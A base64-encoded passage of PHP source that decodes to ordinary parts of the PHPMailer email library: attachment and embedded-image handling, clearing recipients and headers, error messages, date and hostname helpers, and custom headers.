GlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkU3RyaW5nQXR0YWNobWVudCgKICAgICAgICAkc3RyaW5nLAogICAgICAgICRmaWxlbmFtZSwKICAgICAgICAkZW5jb2RpbmcgPSAnYmFzZTY0JywKICAgICAgICAkdHlwZSA9ICcnLAogICAgICAgICRkaXNwb3NpdGlvbiA9ICdhdHRhY2htZW50JwogICAgKSB7CiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSk7CiAgICAgICAgfQogICAgICAgIC8vIEFwcGVuZCB0byAkYXR0YWNobWVudCBhcnJheQogICAgICAgICR0aGlzLT5hdHRhY2htZW50W10gPSBhcnJheSgKICAgICAgICAgICAgMCA9PiAkc3RyaW5nLAogICAgICAgICAgICAxID0+ICRmaWxlbmFtZSwKICAgICAgICAgICAgMiA9PiBiYXNlbmFtZSgkZmlsZW5hbWUpLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiB0cnVlLCAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICAgICAgNiA9PiAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgIDcgPT4gMAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYW4gZW1iZWRkZWQgKGlubGluZSkgYXR0YWNobWVudCBmcm9tIGEgZmlsZS4KICAgICAqIFRoaXMgY2FuIGluY2x1ZGUgaW1hZ2VzLCBzb3VuZHMsIGFuZCBqdXN0IGFib3V0IGFueSBvdGhlciBkb2N1bWVudCB0eXBlLgogICAgICogVGhlc2UgZGlmZmVyIGZyb20gJ3JlZ3VsYXInIGF0dGFjaG1lbnRzIGluIHRoYXQgdGhleSBhcmUgaW50ZW5kZWQgdG8gYmUKICAgICAqIGRpc3BsYXllZCBpbmxpbmUgd2l0aCB0aGUgbWVzc2FnZSwgbm90IGp1c3QgYXR0YWNoZWQgZm9yIGRvd25sb2FkLgogICAgICogVGhpcyBpcyB1c2VkIGluIEhUTUwgbWVzc2FnZXMgdGhhdCBlbWJlZCB0aGUgaW1hZ2VzCiAgICAgKiB0aGUgSFRNTCByZWZlcnMgdG8gdXNpbmcgdGhlICRjaWQgdmFsdWUuCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBQYXRoIHRvIHRoZSBhdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkY2lkIENvbnRlbnQgSUQgb2YgdGhlIGF0dGFjaG1lbnQ7IFVzZSB0aGlzIHRvIHJlZmVyZW5jZQogICAgICogICAgICAgIHRoZSBjb250ZW50IHdoZW4gdXNpbmcgYW4gZW1iZWRkZWQgaW1hZ2UgaW4gSFRNTC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBNSU1FIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIG9uIHN1Y2Nlc3NmdWxseSBhZGRpbmcgYW4gYXR0YWNobWVudAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkRW1iZWRkZWRJbWFnZSgkcGF0aCwgJGNpZCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gJ2Jhc2U2NCcsICR0eXBlID0gJycsICRkaXNwb3NpdGlvbiA9ICdpbmxpbmUnKQogICAgewogICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhQGlzX2ZpbGUoJHBhdGgpKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoKTsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KCiAgICAgICAgLy8gSWYgYSBNSU1FIHR5cGUgaXMgbm90IHNwZWNpZmllZCwgdHJ5IHRvIHdvcmsgaXQgb3V0IGZyb20gdGhlIGZpbGUgbmFtZQogICAgICAgIGlmICgkdHlwZSA9PSAnJykgewogICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICB9CgogICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRwYXRoKTsKICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgfQoKICAgICAgICAvLyBBcHBlbmQgdG8gJGF0dGFjaG1lbnQgYXJyYXkKICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgNCA9PiAkdHlwZSwKICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICA3ID0+ICRjaWQKICAgICAgICApOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVtYmVkZGVkIHN0cmluZ2lmaWVkIGF0dGFjaG1lbnQuCiAgICAgKiBUaGlzIGNhbiBpbmNsdWRlIGltYWdlcywgc291bmRzLCBhbmQganVzdCBhYm91dCBhbnkgb3RoZXIgZG9jdW1lbnQgdHlwZS4KICAgICAqIEJlIHN1cmUgdG8gc2V0IHRoZSAkdHlwZSB0byBhbiBpbWFnZSB0eXBlIGZvciBpbWFnZXM6CiAgICAgKiBKUEVHIGltYWdlcyB1c2UgJ2ltYWdlL2pwZWcnLCBHSUYgdXNlcyAnaW1hZ2UvZ2lmJywgUE5HIHVzZXMgJ2ltYWdlL3BuZycuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHJpbmcgVGhlIGF0dGFjaG1lbnQgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaWQgQ29udGVudCBJRCBvZiB0aGUgYXR0YWNobWVudDsgVXNlIHRoaXMgdG8gcmVmZXJlbmNlCiAgICAgKiAgICAgICAgdGhlIGNvbnRlbnQgd2hlbiB1c2luZyBhbiBlbWJlZGRlZCBpbWFnZSBpbiBIVE1MLgogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0eXBlIE1JTUUgdHlwZS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uIERpc3Bvc2l0aW9uIHRvIHVzZQogICAgICogQHJldHVybiBib29sZWFuIFRydWUgb24gc3VjY2Vzc2Z1bGx5IGFkZGluZyBhbiBhdHRhY2htZW50CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRTdHJpbmdFbWJlZGRlZEltYWdlKAogICAgICAgICRzdHJpbmcsCiAgICAgICAgJGNpZCwKICAgICAgICAkbmFtZSA9ICcnLAogICAgICAgICRlbmNvZGluZyA9ICdiYXNlNjQnLAogICAgICAgICR0eXBlID0gJycsCiAgICAgICAgJGRpc3Bvc2l0aW9uID0gJ2lubGluZScKICAgICkgewogICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBuYW1lCiAgICAgICAgaWYgKCR0eXBlID09ICcnIGFuZCAhZW1wdHkoJG5hbWUpKSB7CiAgICAgICAgICAgICR0eXBlID0gc2VsZjo6ZmlsZW5hbWVUb1R5cGUoJG5hbWUpOwogICAgICAgIH0KCiAgICAgICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IGFycmF5KAogICAgICAgICAgICAwID0+ICRzdHJpbmcsCiAgICAgICAgICAgIDEgPT4gJG5hbWUsCiAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgIDMgPT4gJGVuY29kaW5nLAogICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICA1ID0+IHRydWUsIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgNyA9PiAkY2lkCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGlubGluZSBhdHRhY2htZW50IGlzIHByZXNlbnQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpbmxpbmVJbWFnZUV4aXN0cygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhbiBhdHRhY2htZW50IChub24taW5saW5lKSBpcyBwcmVzZW50LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhdHRhY2htZW50RXhpc3RzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2F0dGFjaG1lbnQnKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiB0aGlzIG1lc3NhZ2UgaGFzIGFuIGFsdGVybmF0aXZlIGJvZHkgc2V0LgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhbHRlcm5hdGl2ZUV4aXN0cygpCiAgICB7CiAgICAgICAgcmV0dXJuICFlbXB0eSgkdGhpcy0+QWx0Qm9keSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBxdWV1ZWQgYWRkcmVzc2VzIG9mIGdpdmVuIGtpbmQuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAka2luZCAndG8nLCAnY2MnLCBvciAnYmNjJwogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclF1ZXVlZEFkZHJlc3Nlcygka2luZCkKICAgIHsKICAgICAgICAkUmVjaXBpZW50c1F1ZXVlID0gJHRoaXMtPlJlY2lwaWVudHNRdWV1ZTsKICAgICAgICBmb3JlYWNoICgkUmVjaXBpZW50c1F1ZXVlIGFzICRhZGRyZXNzID0+ICRwYXJhbXMpIHsKICAgICAgICAgICAgaWYgKCRwYXJhbXNbMF0gPT0gJGtpbmQpIHsKICAgICAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5SZWNpcGllbnRzUXVldWVbJGFkZHJlc3NdKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENsZWFyIGFsbCBUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFkZHJlc3NlcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0bykgewogICAgICAgICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkdG9bMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNsZWFyUXVldWVkQWRkcmVzc2VzKCd0bycpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIENDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQ0NzKCkKICAgIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+Y2MgYXMgJGNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRjY1swXSldKTsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+Y2xlYXJRdWV1ZWRBZGRyZXNzZXMoJ2NjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgQkNDIHJlY2lwaWVudHMuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsZWFyQkNDcygpCiAgICB7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJjYyBhcyAkYmNjKSB7CiAgICAgICAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCRiY2NbMF0pXSk7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5jbGVhclF1ZXVlZEFkZHJlc3NlcygnYmNjJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgUmVwbHlUbyByZWNpcGllbnRzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCkKICAgIHsKICAgICAgICAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZSA9IGFycmF5KCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgcmVjaXBpZW50IHR5cGVzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFsbFJlY2lwaWVudHMoKQogICAgewogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5SZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGZpbGVzeXN0ZW0sIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cy4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKQogICAgewogICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVycm9yIG1lc3NhZ2UgdG8gdGhlIGVycm9yIGNvbnRhaW5lci4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtc2cKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1zZykKICAgIHsKICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQrKzsKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciA9PSAnc210cCcgYW5kICFpc19udWxsKCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkbGFzdGVycm9yID0gJHRoaXMtPnNtdHAtPmdldEVycm9yKCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGxhc3RlcnJvclsnZXJyb3InXSkpIHsKICAgICAgICAgICAgICAgICRtc2cgLj0gJHRoaXMtPmxhbmcoJ3NtdHBfZXJyb3InKSAuICRsYXN0ZXJyb3JbJ2Vycm9yJ107CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2RldGFpbCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBEZXRhaWw6ICcuICRsYXN0ZXJyb3JbJ2RldGFpbCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgU01UUCBjb2RlOiAnIC4gJGxhc3RlcnJvclsnc210cF9jb2RlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBBZGRpdGlvbmFsIFNNVFAgaW5mbzogJyAuICRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGFuIFJGQyA4MjIgZm9ybWF0dGVkIGRhdGUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZmNEYXRlKCkKICAgIHsKICAgICAgICAvLyBTZXQgdGhlIHRpbWUgem9uZSB0byB3aGF0ZXZlciB0aGUgZGVmYXVsdCBpcyB0byBhdm9pZCA1MDAgZXJyb3JzCiAgICAgICAgLy8gV2lsbCBkZWZhdWx0IHRvIFVUQyBpZiBpdCdzIG5vdCBzZXQgcHJvcGVybHkgaW4gcGhwLmluaQogICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSk7CiAgICAgICAgcmV0dXJuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKTsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgc2VydmVyIGhvc3RuYW1lLgogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkhvc3RuYW1lKSkgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPkhvc3RuYW1lOwogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIGFuZCAhZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0bmFtZScpICYmIGdldGhvc3RuYW1lKCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBnZXRob3N0bmFtZSgpOwogICAgICAgIH0gZWxzZWlmIChwaHBfdW5hbWUoJ24nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IHBocF91bmFtZSgnbicpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCBhbiBlcnJvciBtZXNzYWdlIGluIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGxhbmcoJGtleSkKICAgIHsKICAgICAgICBpZiAoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgICAgICB9CgogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCRrZXksICR0aGlzLT5sYW5ndWFnZSkpIHsKICAgICAgICAgICAgaWYgKCRrZXkgPT0gJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSB7CiAgICAgICAgICAgICAgICAvL0luY2x1ZGUgYSBsaW5rIHRvIHRyb3VibGVzaG9vdGluZyBkb2NzIG9uIFNNVFAgY29ubmVjdGlvbiBmYWlsdXJlCiAgICAgICAgICAgICAgICAvL3RoaXMgaXMgYnkgZmFyIHRoZSBiaWdnZXN0IGNhdXNlIG9mIHN1cHBvcnQgcXVlc3Rpb25zCiAgICAgICAgICAgICAgICAvL2J1dCBpdCdzIHVzdWFsbHkgbm90IFBIUE1haWxlcidzIGZhdWx0LgogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XSAuICcgaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvd2lraS9Ucm91Ymxlc2hvb3RpbmcnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9SZXR1cm4gdGhlIGtleSBhcyBhIGZhbGxiYWNrCiAgICAgICAgICAgIHJldHVybiAka2V5OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGVycm9yIG9jY3VycmVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIGlmIGFuIGVycm9yIGRpZCBvY2N1ci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzRXJyb3IoKQogICAgewogICAgICAgIHJldHVybiAoJHRoaXMtPmVycm9yX2NvdW50ID4gMCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbnN1cmUgY29uc2lzdGVudCBsaW5lIGVuZGluZ3MgaW4gYSBzdHJpbmcuCiAgICAgKiBDaGFuZ2VzIGV2ZXJ5IGVuZCBvZiBsaW5lIGZyb20gQ1JMRiwgQ1Igb3IgTEYgdG8gJHRoaXMtPkxFLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBTdHJpbmcgdG8gZml4RU9MCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZml4RU9MKCRzdHIpCiAgICB7CiAgICAgICAgLy8gTm9ybWFsaXNlIHRvIFxuCiAgICAgICAgJG5zdHIgPSBzdHJfcmVwbGFjZShhcnJheSgiXHJcbiIsICJcciIpLCAiXG4iLCAkc3RyKTsKICAgICAgICAvLyBOb3cgY29udmVydCBMRSBhcyBuZWVkZWQKICAgICAgICBpZiAoJHRoaXMtPkxFICE9PSAiXG4iKSB7CiAgICAgICAgICAgICRuc3RyID0gc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkbnN0cik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbnN0cjsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBhIGN1c3RvbSBoZWFkZXIuCiAgICAgKiAkbmFtZSB2YWx1ZSBjYW4gYmUgb3ZlcmxvYWRlZCB0byBjb250YWluCiAgICAgKiBib3RoIGhlYWRlciBuYW1lIGFuZCB2YWx1ZSAobmFtZTp2YWx1ZSkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIEN1c3RvbSBoZWFkZXIgbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUgSGVhZGVyIHZhbHVlCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEN1c3RvbUhlYWRlcigkbmFtZSwgJHZhbHVlID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJHZhbHVlID09PSBudWxsKSB7CiAgICAgICAgICAgIC8vIFZhbHVlIHBhc3NlZCBpbiBhcyBuYW1lOnZhbHVlCiAgICAgICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGV4cGxvZGUoJzonLCAkbmFtZSwgMik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlcltdID0gYXJyYXkoJG5hbWUsICR2YWx1ZSk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJucyBhbGwgY3VzdG9tIGhlYWRlcnMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYm9keSBmcm9tIGFuIEhUTUwgc3RyaW5nLgogICAgICogQXV0b21hdGljYWxseSBpbmxpbmVzIGltYWdlcyBhbmQgY3JlYXRlcyBhIHBsYWluLXRleHQgdmVyc2lvbiBieSBjb252ZXJ0aW5nIHRoZSBIVE1MLAogICAgICogb3ZlcndyaXRpbmcgYW55IGV4aXN0aW5nIHZhbHVlcyBpbiBCb2R5IGFuZCBBbHRCb2R5LgogICAgICogRG8gbm90IHNvdXJjZSAkbWVzc2FnZSBjb250ZW50IGZyb20gdXNlciBpbnB1dCEKICAgICAqICRiYXNlZGlyIGlzIHByZXBlbmRlZCB3aGVuIGhhbmRsaW5nIHJlbGF0aXZlIFVSTHMsIGUuZy4gPGltZyBzcmM9Ii9pbWFnZXMvYS5wbmciPiBhbmQgbXVzdCBub3QgYmUgZW1wdHkKICAgICAqIHdpbGwgbG9vayBmb3IgYW4gaW1hZ2UgZmlsZSBpbiAkYmFzZWRpci9pbWFnZXMvYS5wbmcgYW5kIGNvbnZlcnQgaXQgdG8gaW5saW5lLgogICAgICogSWYgeW91IGRvbid0IHByb3ZpZGUgYSAkYmFzZWRpciwgcmVsYXRpdmUgcGF0aHMgd2lsbCBiZSBsZWZ0IHVudG91Y2hlZCAoYW5kIHRodXMgcHJvYmFibHkgYnJlYWsgaW4gZW1haWwpCiAgICAgKiBJZiB5b3UgZG9uJ3Qgd2FudCB0byBhcHBseSB0aGVzZSB0cmFuc2Zvcm1hdGlvbnMgdG8geW91ciBIVE1MLCBqdXN0IHNldCBCb2R5IGFuZCBBbHRCb2R5IGRpcmVjdGx5LgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgSFRNTCBtZXNzYWdlIHN0cmluZwogICAgICogQHBhcmFtIHN0cmluZyAkYmFzZWRpciBBYnNvbHV0ZSBwYXRoIHRvIGEgYmFzZSBkaXJlY3RvcnkgdG8gcHJlcGVuZCB0byByZWxhdGl2ZSBwYXRocyB0byBpbWFnZXMKICAgICAqIEBwYXJhbSBib29sZWFufGNhbGxhYmxlICRhZHZhbmNlZCBXaGV0aGVyIH